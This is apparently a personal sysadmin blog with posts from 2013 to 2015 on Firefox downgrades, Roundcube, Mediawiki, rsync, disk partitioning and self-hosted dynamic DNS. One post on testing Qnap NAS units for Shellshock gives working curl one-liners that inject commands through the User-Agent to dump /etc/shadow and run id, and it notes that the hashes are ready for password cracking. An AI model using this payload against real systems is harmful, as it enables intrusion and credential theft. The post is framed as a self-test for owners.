Sunday, December 20, 2015

Firefox 43 crashes. Install previous version in Ubuntu

Since Firefox was upgraded to version 43 on my Ubuntu 12.04 LTS machine, it "reliably" crashed on some pages. The easiest example being, but many other pages also.

After trying many things which didn't work (disabling all extensions, all plugins, creating a fresh new profile), I decided to downgrade Firefox to the previous version.

But the previous version is hard to find!

The normal repository only contains version 43 for Ubuntu 12.04. The other versions in that folder cannot be installed because they depend on later versions of my libraries...

Finally, Google found me the previous version with this search:

Which led me to

The rest is easy:

Remove firefox (not "purge" as is often recommended, because that may remove your profile with all your bookmarks, extensions, settings, etc.!)

sudo apt-get remove firefox

Get and install the wanted version:

cd /tmp
wget ""
sudo dpkg -i firefox_42.0+build2-0ubuntu0.12.04.1_amd64.deb

Prevent future upgrades (but also prevents security upgrades!)

sudo apt-mark hold firefox

It may be time to look for a better browser than Firefox, but in the meantime, this works


Thursday, November 26, 2015

Roundcube webmail with SQLite on Debian

Roundcube is not available through apt-get in Debian 8 (Jessie), and the version which is in Debian 7 (Wheezy) is outdated. However, installing directly from the source is very easy.

I used SQLite, because these servers will only occasionally serve a few users for single domains. So a full database server seemed overkill. I selected /opt/roundcube as my install dir.

mkdir $rcdir
cd $rcdir

Check the latest version on the "Roundcube Webmail Downloads". As of November 2015, the version was 1.1.3. Copy the link for the "Complete" download.


Uncompress, copy out of the version-specific folder, and rename the original folder in case you need it.

tar xvf roundcubemail-$version-complete.tar.gz
rm roundcubemail-$version-complete.tar.gz
cp -rp roundcubemail-$version/* ./
mv roundcubemail-$version roundcubemail-$version.orig

Install dependencies

apt-get install php5 php-pear php5-sqlite

Initialize database

mkdir db
sqlite3 -init SQL/sqlite.initial.sql db/roundcube.sqlite

You will be left at the sqlite prompt. Type ".quit".

# sqlite3 -init SQL/sqlite.initial.sql db/roundcube.sqlite
 -- Loading resources from SQL/sqlite.initial.sql

 SQLite version 3.7.13 2012-06-11 02:05:22
 Enter ".help" for instructions
 Enter SQL statements terminated with a ";"
 sqlite> .quit

Set permissions

chown -R www-data:www-data temp logs db
chmod -R 775 db
Edit the Apache config file with your favorite editor. (I suggest mcedit or nano)
$EDITOR /etc/apache2/sites-available/webmail.conf

<VirtualHost *:80>
  RedirectPermanent /

<VirtualHost *:443>

  SSLEngine on
  SSLProtocol all -SSLv2 -SSLv3
  SSLCACertificateFile   /etc/ssl/example.com_selfsigned_CA.pem
  SSLCertificateFile     /etc/ssl/example.com_web.pem
  SSLCertificateKeyFile  /etc/ssl/private/example.com_web.key


  DocumentRoot /opt/roundcube

  CustomLog /var/log/apache2/roundcube-access.log combined3

  <Directory /opt/roundcube/>
    Options +FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from all

  <Directory /opt/roundcube/config>
    Options -FollowSymLinks
    AllowOverride None

  <Directory /opt/roundcube/temp>
    Options -FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all

  <Directory /opt/roundcube/logs>
    Options -FollowSymLinks
    AllowOverride None
    Order allow,deny
    Deny from all

You may also need to add NameVirtualHost *:443 to /etc/apache2/ports.conf

Check the Apache config. and reload

a2ensite webmail
apache2ctl -S
apache2ctl graceful

Edit the Roundcube config file.

cd $rcdir/config
cp -pf

Change these:

$config['db_dsnw'] = 'sqlite:////opt/roundcube/db/roundcube.sqlite?mode=0646';
  $config['smtp_server'] = 'localhost';

And add this:

$config['mail_domain'] = '%d'; # let new users get the right domain instead of the default "user@localhost"

If needed, see also the Roundcube Wiki.

Saturday, September 27, 2014

Using curl to test Qnap NAS for Shellshock

The following briefly appeared in a Qnap forum, but was apparently quickly removed.

Since I feel it's a useful test, here it is:

Fun Shellshock test with curl

Testing your NAS for the Shellshock vulnerability with curl:

NAS_IP=192.168.1.XXX    # Use the IP or the name of your NAS

curl -A "() { :; }; echo Content-Type: text/plain; echo; echo; cat /etc/shadow" $URL

And enjoy the output of your users and crypted passwords in a format almost ready to be fed to John The Ripper:


(The password hashes have been redacted in this output of course)

If your NAS can be reached from the Internet, you better disconnect it now...

What this also shows is that the NAS http server appears to be running as root, since the /etc/shadow file should only be readable by root!

And indeed:

$ curl -A "() { :; }; echo Content-Type: text/plain; echo; echo; id" $URL

uid=0(admin) gid=0(administrators) groups=0(administrators),100(everyone)

this shows the id of the web server process as "admin", with UID 0 and GID 0. So it's really running as root, which is certainly very helpful for NAS-hackers.

Thursday, May 15, 2014

Bootcamp adventures

I needed to replace a drive in a Mac mini with a bigger one. The drive had Mac OS X 10.9 (Mavericks) and Bootcamp with Windows 7. After using Clonezilla to backup the drive and restore it to the bigger one, the partitions were obviously still the same size. There was just a lot of free unpartitioned space at the end of the new drive.

How to resize and move all the partitions (including the hidden EFI and Recovery partitions), to fill the free space?

Disk Utility will not let you touch the Bootcamp partition. Windows 7 looked like it could resize it, but not move it. Resizing it with Win7 created a mess: the Mac would still see the original size.

The heart of the problem seems to be that the Mac wants a GPT partition table, but for Bootcamp, it creates a hybrid MBR partition which is what Win7 sees. Win7 would have no problem with a GPT-only partition, but Bootcamp makes a hybrid MBR anyway. Win7 then resizes that MBR partition, but doesn't update the GPT partition table, which is what the Mac sees. And the Mac doesn't let you fix it either.

At this point, I tried Gparted, but it wouldn't touch this mess (giving some error which I forgot).

Paragon's Camptune X looked like the best solution. However, after paying $20 for it, it turned out it couldn't do anything either. All it does is to let you move a cursor for the relative sizes of the Mac and Windows partitions. But you cannot increase the size to use the free space.

Finally, Rod Smith's Gdisk saved the day again.

What I ended up doing worked in the end:

  • Booted a Gparted USB key, and resized the Windows partition to fill the entire disk.
  • Booted to Mac, and used Camptune X to enlarge the Mac partition while reducing the Windows one.
  • Now, Windows would not boot.
  • Used gdisk to re-create the hybrid MBR, and mark the Windows partition as bootable, as explained in detail in this post.

Labels: , , , , ,

Monday, August 12, 2013

ffmpeg burnt-in timecode

Burning-in timecode is easy in Avid or Final Cut, but if for any reason you need to do it the hard way with command-line ffmpeg, here is how.

To not make it harder than necessary, there are links to pre-compiled versions of ffmpeg on their download page. For Mac OS X, as of August 2013, there were these 2 versions:

  •, which unfortunately didn't have the needed filter. It would give the error
    "AVFilterGraph ...] No such filter: 'drawtext'".
  • the version 2.0.1 built by Helmut Tessarek worked fine. Unfortunately, it is compressed with 7-zip, so you may need to get a decompressor first. I used Keka (not open source, but free).

Below is the command I used to quickly encode Sony mpeg2 MXF files into H264 Quicktimes, preserving the original timecode in the QT TC track (ffmpeg does this automatically), and also burning it into the picture.

Since the command itself is quite awful, it is best to predefine variables, so that the long command itself can be copy/pasted directly, without further editing, or at least not too much...

# set variables for the input and output files:


# the timecode rate must be set. Should be identical to the FPS.


# select a monospaced font file on your machine. On Linux, try:


# or on Mac:

font="/Library/Fonts/Andale Mono.ttf"

# size and position:

position="x=w-text_w-(text_w/6):y=text_h" # top right

# For bottom right, try this instead: position="x=(w-tw)/2: y=h-(2*lh)"

# get the timecode, and escape the ":" to be able to use it in the burn-in filter

timecode=$( ffmpeg -i "$in" 2>&1 | awk '$1 ~ /^timecode/ {print $NF}' )

# To test encoding only the first x seconds, use:

test_secs="-t 20"

# or for the whole video, leave this empty:


# quality/size/speed : (try crf between 18 and 25? lower is better quality and bigger file.)

preset=ultrafast # (superfast, fast, slow, ...)

# And finally (with de-interlacing and without scaling):

ffmpeg -threads 0 -i "$in" $test_secs -acodec copy -vcodec libx264 -preset $preset -crf $crf -deinterlace -vf "drawtext=fontfile=$font: timecode='$tc_escaped': r=$tc_rate: $position: fontcolor=white: fontsize=$fontsize: box=1: boxcolor=black@0.2" "$out"

or to keep only video with audio channel 1 (throwing away audio channels 2, etc. ):

ffmpeg -threads 0 -i "$in" $test_secs -map 0:0 -map 0:1 -acodec copy -vcodec libx264 -preset $preset -crf $crf -deinterlace -vf "drawtext=fontfile=$font: timecode='$tc_escaped': r=$tc_rate: $position: fontcolor=white: fontsize=$fontsize: box=1: boxcolor=black@0.2" "$out"


Labels: , ,

Wednesday, May 22, 2013

Windows 7 profile trouble

Event ID 1511: Windows cannot find the local profile and is logging you on with a temporary profile. Changes you make to this profile will be lost when you log off.


Event ID 1521: Windows cannot locate the server copy of your roaming profile and is attempting to log you on with your local profile. Changes to the profile will not be copied to the server when you log off. This error may be caused by network problems or insufficient security rights.

  • Login as a different user (with admin rights)
  • Under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList, find Keys named SID.bak (like "S-1-5-21-4129847285-3583514821-2567293568-1001.bak")
  • Delete them
  • If needed, delete C:\Users\USERNAME

This seems to happen when a machine on the network thinks it is the domain master browser and convinces the real PDC of it. I have seen it happen with a Mac (10.6.8), and with a new NAS. They were both running Samba (just like the actual PDC which is a Debian Samba server).

To prevent Samba on these machines to try to become domain master browsers, add this to the [global] section of /etc/smb.conf (or /etc/samba/smb.conf, or whatever it is on your machine):

os level = 1
lm announce = No
preferred master = No
local master = No
domain master = No

Maybe "os level = 1" is exaggerated, but I used that anyway. The "local master = no" setting doesn't get activated on the Mac (testparm -sv | grep master still shows it set to Yes), but it works anyway now.

To check the master browser from Linux or Mac: nmblookup -M YOURDOMAIN or nmblookup -M -- - for all, which may show others which are not in the same domain/workgroup.

Labels: , , , ,

Saturday, May 11, 2013

Mediawiki with Postgres on Debian

A short guide to install Mediawiki on Debian with PostgreSQL 9.1.With a fix for this error:

"Attempting to connect to database "postgres" as superuser "postgres"... error: No database connection"

Installing packages

The server is still using Debian Squeeze, but I expect it would quite the same for the new Debian Wheezy. Here I used squeeze-backports.

 Add the backports repository if needed:

echo "deb squeeze-backports main contrib non-free" >> /etc/apt/sources.list

Install everything:

apt-get update
apt-get -t squeeze-backports install apache2 postgresql-9.1 postgresql-contrib php5-pgsql
apt-get -t squeeze-backports install imagemagick libdbd-pg-perl
apt-get -t squeeze-backports install mediawiki

I use a separate IP for the wiki, so need to add it to the interface:

mcedit /etc/network/interfaces
# wiki on it's own IP
auto eth0:3
iface eth0:3 inet static

/etc/init.d/networking restart

Apache configuration

# I use the mod_rewrite module in Apache
a2enmod rewrite

# I prefer the config file in sites-enabled
# (but it's really just a symlink to /etc/mediawiki/apache.conf):
mv /etc/apache2/conf.d/mediawiki.conf /etc/apache2/sites-enabled

My virtual host config:

<VirtualHost *:80>
    ServerName wiki.example.lan
    ServerAlias wiki.example.lan
    DocumentRoot /docs/www-wiki

    ErrorLog /var/log/apache2/wiki-error.log
    CustomLog /var/log/apache2/wiki-access.log combined

    ServerSignature On

    Alias /icons/ "/usr/share/apache2/icons/"

    RewriteEngine On
    RewriteRule ^/w(iki)?/(.*)$  http://%{HTTP_HOST}/index.php/$2 [L,NC]

    <Directory /docs/www-wiki/>
        Options +FollowSymLinks
        AllowOverride All
        # Default is Deny. Exceptions listed below with "Allow ...":
        Order Deny,Allow
        Deny from All
        Satisfy any
        # LAN
        Allow from
        # VPN
        Allow from

# If using LDAP
#        AuthType Basic
#        AuthName "Example Wiki. Requires user name and password"
#        AuthBasicProvider ldap
#        AuthzLDAPAuthoritative on
#        AuthLDAPURL ldap://localhost:389/ou=People,dc=example,dc=lan?uid
#        AuthLDAPGroupAttribute memberUid
#        AuthLDAPGroupAttributeIsDN off
#        Require ldap-group cn=users,ou=Groups,dc=example,dc=lan

    # some directories must be protected
    <Directory /docs/www-wiki/config>
        Options -FollowSymLinks
        AllowOverride None

    <Directory /docs/www-wiki/upload>
        Options -FollowSymLinks
        AllowOverride None

    <Directory "/usr/share/apache2/icons">
        Options Indexes MultiViews
        AllowOverride None
        Order allow,deny
        Allow from all

Moving files

I used a directory other than the default /var/lib/mediawiki. So I had to move things over:

cp -rp /var/lib/mediawiki /docs/www-wiki

The only tricky part, with the fix:

Before starting the web configurator in http://wiki.example.lan/config/ you need to define a password for the "postgres" database user. Mediawiki will start the psql client as the www-data system user, but with the -U argument to set the user to "postgres". Even if you defined a password for the system user "postgres", this is not the password of the database user "postgres".

So you need to start psql as the postgres system user, which you can do as root using sudo -c, and then set the password inside the psql client:

sudo -u postgres psql
psql (9.1.9)
Type "help" for help.

postgres=# \password
Enter new password:
Enter it again:
postgres=# \q

If you don't do this, the Mediawiki config will end with this error:

Attempting to connect to database "postgres" as superuser "postgres"... error: No database connection

And a big pink and unhelpful error box below.

The Postgresql log (tail /var/log/postgresql/postgresql-9.1-main.log) will show:

FATAL:  password authentication failed for user "postgres"


Now you just have to move LocalSettings.php to /etc/mediawiki/.

And if you used a different install root, you have to edit it to change the MW_INSTALL_PATH:


Labels: , , , , , , , ,

Thursday, January 31, 2013

rsync server daemon on Mac OS X with launchctl

There are many web pages describing how to enable the rsync daemon on Mac OS X using launchd/launchctl mechanism. But I had to use a different (and simpler) plist file in LaunchDaemons to make it work across reboots on Lion (10.7.4).

(I started by following this guide , and this very similar one. And I also read this and this. In the end, what helped me getting the plist file right was this thread. Particularly this post: "For one you have both a Program and a ProgramArguments key, when you should have only one or the other (you use Program if there is just one element to the command, or ProgramArguments if there are multiple." And this one.)

This is the .plist file I used in /Library/LaunchDaemons/org.samba.rsync.plist : 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">

This is an example /etc/rsyncd.conf file:

secrets file = /etc/rsyncd.secrets
hosts allow = *.cust.isp.tld

pid file = /var/run/
uid = nobody
gid = nobody
list = yes
read only = yes

path = /Users/Shared
comment = Users-Shared
uid = someuser
gid = admin
auth users = user_in_secrets

The file /etc/rsyncd.secrets looks like:


To install it:

sudo -s
chown root:wheel /etc/rsyncd.*
chmod 644 /etc/rsyncd.conf
chmod 600 /etc/rsyncd.secrets
launchctl load /Library/LaunchDaemons/org.samba.rsync.plist
launchctl start org.samba.rsync ## (this last command is probably unneeded)

To check if it is installed and running:

launchctl list | grep rsync
808  -    0x7fddb4806c10.anonymous.rsync
-    0    org.samba.rsync

ps ax | grep [r]sync
  808   ??  Ss     0:00.00 /usr/bin/rsync --daemon

rsync --stats someuser@localhost::

To remove it:

sudo launchctl unload /Library/LaunchDaemons/org.samba.rsync.plist
sudo killall rsync

For logging transfers, add

log file = /var/log/rsyncd.log
transfer logging = yes

to /etc/rsyncd.conf. And to have the log rotated, create a file like /etc/newsyslog.d/rsyncd.conf and add

# logfilename          [owner:group]    mode count size when  flags [/pid_file] [sig_num]
/var/log/rsyncd.log   644  5    5000 *     J


Labels: , , ,

Sunday, January 06, 2013

scripting disk partitionning in Linux - take 2

It is possible to use parted to script/automate disk partitioning in Linux, as described in "Command-line partitioning and formatting".

Another way is to use sgdisk from the GPT fdisk programs.

In Debian and derivatives, it can be installed with sudo apt-get install gdisk.

The current version 0.8.1 from the Ubuntu 12.04 repository would partition only the first 2TB of a 4 TB. disk. So you may need to get a more recent version from the downloads page. I got version 0.8.5 for x64, and that worked very well.

The following will create and format a single NTFS partition on an entire drive:

disk=/dev/sdb            # Make sure you got this right !!
echo "disk $disk will be completely erased."

sudo sgdisk -Z $disk
sudo sgdisk --new=0:0:-8M -t 1:0700 $disk
sudo sgdisk -p $disk
sudo mkntfs --verbose --fast --label "$label" --no-indexing --with-uuid ${disk}1

-Z removes any left-over partitions

--new=0:0:-8M creates a single partition from the start of the disk to 8MB before the end (just in case it's useful to not end on the very last sector)

-t 1:0700 sets the first partition we just created to type "Microsoft Basic Partition", which is the type we want for a simple NTFS partition. Linux would be -t 1:8300. Use sgdisk -L to get a list of partition types.

Note that for comfortable (and safer) manual partitioning, there is also cgdisk. It is like the old cfdisk, but works with new disks over 2TB.

Labels: , , , , , , , ,

Wednesday, January 02, 2013

Set up your own Dynamic DNS

The problem with external dynamic DNS services like,, etc. is that you constantly have to look after them. Either they are free, but they expire after 1 month and you have to go to their web site to re-activate your account. Or you pay for them, but then you need to take care of the payments, update the credit card info, etc. This is all much too cumbersome for something that should be entirely automated.

If you manage your own DNS anyway, it may be simpler in the long run to set-up your own dynamic DNS system.

Bind has everything needed. There is a lot of info on the Internet on how to do it, but what I found tended to be more complicated than becessary or insecure or both. So here is how I did it on a Debian 6 ("squeeze") server.

The steps described below are:

Initialize variables

To make it easier to copy/paste commands, we initialize a few variables


(In Debian, you can use grep directory /etc/bind/named.conf.options to find the correct binddir value)

For dynamic hosts, we will use a subdomain of our main zone:


Create key

Most example use the dnssec-keygen command. That would create 2 files (with ugly names): one .private and one .key (public) file. This is useless since the secret key is the same in both files, and the nsupdate method doesn't use a public/private key mechanism anyway.

There is a less-known and more appropriate command in recent distributions : ddns-confgen. By default, it will just print sample entries with instructions to STDOUT. You can try it out with:

ddns-confgen -r /dev/urandom -s $host.$zone.

The options we use here are to use an "hmac-md5" algorithm instead of the default "hmac-sha256". It simplifies things with nsupdate later. And we also specify the key name to be the same as the host's name. That way, we can use a wildcard in the "update-policy" in named.conf.local and don't need to update it every time we add a host.

ddns-confgen -r /dev/urandom -q -a hmac-md5 -k $host.$zone -s $host.$zone. | tee -a $etcdir/$zone.keys

chown root:bind   $etcdir/$zone.keys
chmod u=rw,g=r,o= $etcdir/$zone.keys

Depending on how you intend to use nsupdate, you may want to also have a separate key file for every host key. nsupdate cannot use the $zone.keys file if it contains multiple keys. So you might prefer to directly create these individual keyfiles by adding something like > $etcdir/key.$host.$zone :

ddns-confgen -r /dev/urandom -q -a hmac-md5 -k $host.$zone -s $host.$zone. | tee -a $etcdir/$zone.keys > $etcdir/key.$host.$zone

chown root:bind   $etcdir/$zone.keys $etcdir/key.*
chmod u=rw,g=r,o= $etcdir/$zone.keys $etcdir/key.*

Configure bind

Create zone file

Edit $binddir/$zone :

$TTL  3600 ; 1 hour IN SOA (
         1 ; serial (start at 1 for a dynamic zone instead of the usual date-based serial)
      3600 ; refresh by secondaries (but they get NOTIFY-ed anyway)
       600 ; retry (every 10 minutes if refresh fails)
    604800 ; expire (slaves remove the record after 1 week if they could not refresh it)
       300 ; minimum ttl for negative answers (5 minutes)


Edit /etc/bind/named.conf.local

Edit /etc/bind/named.conf.local to add :

// DDNS keys
include "/etc/bind/";

// Dynamic zone
zone "" {
    type master;
    file "/var/cache/bind/";
    update-policy {
        // allow host to update themselves with a key having their own name
        grant * self;

Reload server config

rndc reload && sleep 3 && grep named /var/log/daemon.log | tail -20

(adjust the sleep and tail values depending on the number of zones your DNS server handles, so that it has time to report any problems)


If you created individual key files, or your $zone.keys file contains only a single key, you can test like this:

host=myhost; ip=;;; keyfile=$etcdir/key.$host.$zone
echo -e "server $server\n zone $zone.\n update delete $host.$zone.\n update add $host.$zone. 600 A $ip\n send" | nsupdate -k "$keyfile"

Or, more readable and with an extra TXT record:

cat <<EOF | nsupdate -k $keyfile
server $server
zone $zone.
update delete $host.$zone.
update add $host.$zone. 600 A $ip
update add $host.$zone. 600 TXT "Updated on $(date)"

(If you get a could not read key from $keyfile: file not found error, and the file actually exists and is owned by the bind process user, you may be using an older version of nsupdate (like the version in Debian Etch). In that case, replace nsupdate -k $keyfile with nsupdate -y "$key_name:$secret" using the key name and secret found in your key file.)

Check the result:

host -t ANY $host.$zone

It should output something like descriptive text "Update on Tue Jan  1 17:16:03 CET 2013" has address
If you try to use a file with multiple keys in the -k option to nsupdate, you will get an error like this:

... 'key' redefined near 'key'
could not read key from FILENAME.keys.{private,key}: already exists


In a /etc/network/if-up.d/ddnsupdate script.

If you have setup an update CGI page on your server, you could use something like this, letting the web server use the IP address it received anyway with your request.

secret="xBa2pz6ZCGQJ5obmvmp26w==" # copy the right key from $etcdir/$zone.keys

wget -O /dev/null --no-check-certificate "https://$server/ddns/update.cgi?host=$host;secret=$secret"
Otherwise, you can use nsupdate, but you need to determine your external IP first :

secret="xBa2pz6ZCGQJ5obmvmp26w==" # copy the right key from $etcdir/$zone.keys

ip=$(wget -q -O -

cat <<EOF | nsupdate
server $server
zone $zone.
key $host.$zone $secret
update delete $host.$zone.
update add $host.$zone. 600 A $ip
update add $host.$zone. 600 TXT "Updated on $(date)"

I used a very simple myip.cgi script on the web server, to avoid having to parse the output of the various existing services which show your IP in the browser:

echo "Content-type: text/plain"
echo ""

This alternative script example uses SNMP to get the WAN IP from the cable router. It only does the update if the address has changed, and logs to syslog.


server=$(dig +short -t SOA $zone | awk '{print $1}')

ip=$( snmpwalk -v1 -m RFC1213-MIB -c public $router ipAdEntAddr | awk '!'"/$router/ {print \$4}" )

if [ -z "$ip" ]; then
 echo "Error getting wan ip from $router" 1>&2
 exit 1

oldip=$(dig +short $host.$zone)

if [ "$ip" == "$oldip" ]; then
 logger -t `basename $0` "No IP change for $host.$zone ($ip)"

cat <<EOF | nsupdate
server $server
zone $zone.
key $host.$zone $secret
update delete $host.$zone.
update add $host.$zone. 600 A $ip
update add $host.$zone. 600 TXT "Updated on $(date)"

logger -t `basename $0` "IP for $host.$zone changed from $oldip to $ip"

Web server update.cgi

An example update.cgi :


## Use nsupdate to update a DDNS zone.

## (This could be done with the Net::DNS module. It
##  would be more portable (Windows, etc.), but also
##  more complicated. So I chose the nsupdate utility
##  that comes with Bind instead.)

# "mi\", 2013

use strict;

my $VERSION = 0.2;
my $debug = 1;

my $title = "DDNS update";

my $zone     = "";
my $server   = "localhost";
my $nsupdate = "/usr/bin/nsupdate";

use CGI qw(:standard);

my $q = new CGI;

my $CR = "\r\n";

print $q->header(),
      $q->start_html(-title => $title),

if (param("debug")) {
    $debug = 1;

my $host   = param("host");
my $secret = param("secret");
my $ip     = param("ip") || $ENV{"REMOTE_ADDR"};
my $time   = localtime(time);

foreach ($host, $secret, $ip) {
    s/[^A-Za-z0-9\.\/\+=]//g; # sanitize, just in case...
    unless (length($_)) {
        die "Missing or bad parameters. host='$host', secret='$secret', ip='$ip'\n";

my $commands = qq{
server $server
zone $zone.
key $host.$zone $secret
update delete $host.$zone.
update add $host.$zone. 600 A $ip
update add $host.$zone. 600 TXT "Updated by $0 v. $VERSION, $time"

print $q->p("sending update commands to $nsupdate:"), $CR,
      $q->pre($commands), $CR;

open( NSUPDATE, "| $nsupdate" ) or die "Cannot open pipe to $nsupdate : $!\n";
print NSUPDATE $commands        or die "Error writing to $nsupdate : $!\n";
close NSUPDATE                  or die "Error closing $nsupdate : $!\n";

print $q->p("Done:"), $CR;

my @result = `host -t ANY $host.$zone`;

foreach (@result) {
    print $q->pre($_), $CR;

if ($debug) {
# also log received parameters
    my @lines;
    for my $key (param) {
        my @values = param($key);
        push @lines, "$key=" . join(", ", @values);
    warn join("; ", @lines), "\n";

print $q->end_html, $CR;


Labels: , , , , , , , ,